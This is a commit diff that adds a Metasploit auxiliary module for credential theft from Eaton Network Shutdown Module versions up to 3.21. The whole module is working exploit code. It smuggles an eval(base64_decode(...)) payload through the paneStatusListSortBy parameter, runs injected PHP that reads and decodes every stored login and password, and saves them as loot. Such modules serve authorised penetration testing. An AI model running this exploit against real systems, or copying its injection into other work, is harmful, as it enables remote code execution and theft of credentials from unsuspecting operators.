|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper', |
| 18 | + 'Description' => %q{ |
| 19 | + This module will extract user credentials from Network Shutdown Module by exploiting |
| 20 | + a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a |
| 21 | + eval() call. Please note that in order to extract credentials,the vulnerable service |
| 22 | + must have at least one USV module (an entry in the "nodes" table in mgedb.db) |
| 23 | + }, |
| 24 | + 'References' => |
| 25 | + [ |
| 26 | + ['OSVDB', '83199'], |
| 27 | + ['URL', 'http://secunia.com/advisories/49103/'] |
| 28 | + ], |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'h0ng10', |
| 32 | + 'sinn3r' |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'DisclosureDate' => "Jun 26 2012" |
| 36 | + )) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(4679) |
| 41 | + ], self.class) |
| 42 | + end |
| 43 | + |
| 44 | + def peer |
| 45 | + "#{rhost}:#{rport}" |
| 46 | + end |
| 47 | + |
| 48 | + def execute_php_code(code, opts = {}) |
| 49 | + param_name = Rex::Text.rand_text_alpha(6) |
| 50 | + padding = Rex::Text.rand_text_alpha(6) |
| 51 | + php_code = Rex::Text.encode_base64(code) |
| 52 | + url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" |
| 53 | + |
| 54 | + res = send_request_cgi( |
| 55 | + { |
| 56 | + 'uri' => '/view_list.php', |
| 57 | + 'method' => 'POST', |
| 58 | + 'vars_get' => |
| 59 | + { |
| 60 | + 'paneStatusListSortBy' => url_param, |
| 61 | + }, |
| 62 | + 'vars_post' => |
| 63 | + { |
| 64 | + param_name => php_code, |
| 65 | + }, |
| 66 | + 'headers' => |
| 67 | + { |
| 68 | + 'Connection' => 'Close' |
| 69 | + } |
| 70 | + }) |
| 71 | + res |
| 72 | + end |
| 73 | + |
| 74 | + def read_credentials |
| 75 | + pattern = Rex::Text.rand_text_numeric(10) |
| 76 | + users_var = Rex::Text.rand_text_alpha(10) |
| 77 | + user_var = Rex::Text.rand_text_alpha(10) |
| 78 | + php = <<-EOT |
| 79 | + $#{users_var} = &queryDB("SELECT * FROM configUsers;"); |
| 80 | + foreach($#{users_var} as $#{user_var}) { |
| 81 | + print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}"; |
| 82 | + } die(); |
| 83 | + EOT |
| 84 | + |
| 85 | + print_status("#{peer} - Reading user credentials from the database") |
| 86 | + response = execute_php_code(php) |
| 87 | + |
| 88 | + if not response or response.code != 200 then |
| 89 | + print_error("#{peer} - Failed: Error requesting page") |
| 90 | + return |
| 91 | + end |
| 92 | + |
| 93 | + credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/) |
| 94 | + return credentials |
| 95 | + end |
| 96 | + |
| 97 | + def run |
| 98 | + credentials = read_credentials |
| 99 | + if credentials.empty? |
| 100 | + print_warning("#{peer} - No credentials collected.") |
| 101 | + print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.") |
| 102 | + return |
| 103 | + end |
| 104 | + |
| 105 | + cred_table = Rex::Ui::Text::Table.new( |
| 106 | + 'Header' => 'Network Shutdown Module Credentials', |
| 107 | + 'Indent' => 1, |
| 108 | + 'Columns' => ['Username', 'Password'] |
| 109 | + ) |
| 110 | + |
| 111 | + credentials.each do |record| |
| 112 | + cred_table << [record[0], record[1]] |
| 113 | + end |
| 114 | + |
| 115 | + print_line |
| 116 | + print_line(cred_table.to_s) |
| 117 | + |
| 118 | + loot_name = "eaton.nsm.credentials" |
| 119 | + loot_type = "text/csv" |
| 120 | + loot_filename = "eaton_nsm_creds.csv" |
| 121 | + loot_desc = "Eaton Network Shutdown Module Credentials" |
| 122 | + p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc) |
| 123 | + print_status("Credentials saved in: #{p.to_s}") |
| 124 | + end |
| 125 | +end |
0 commit comments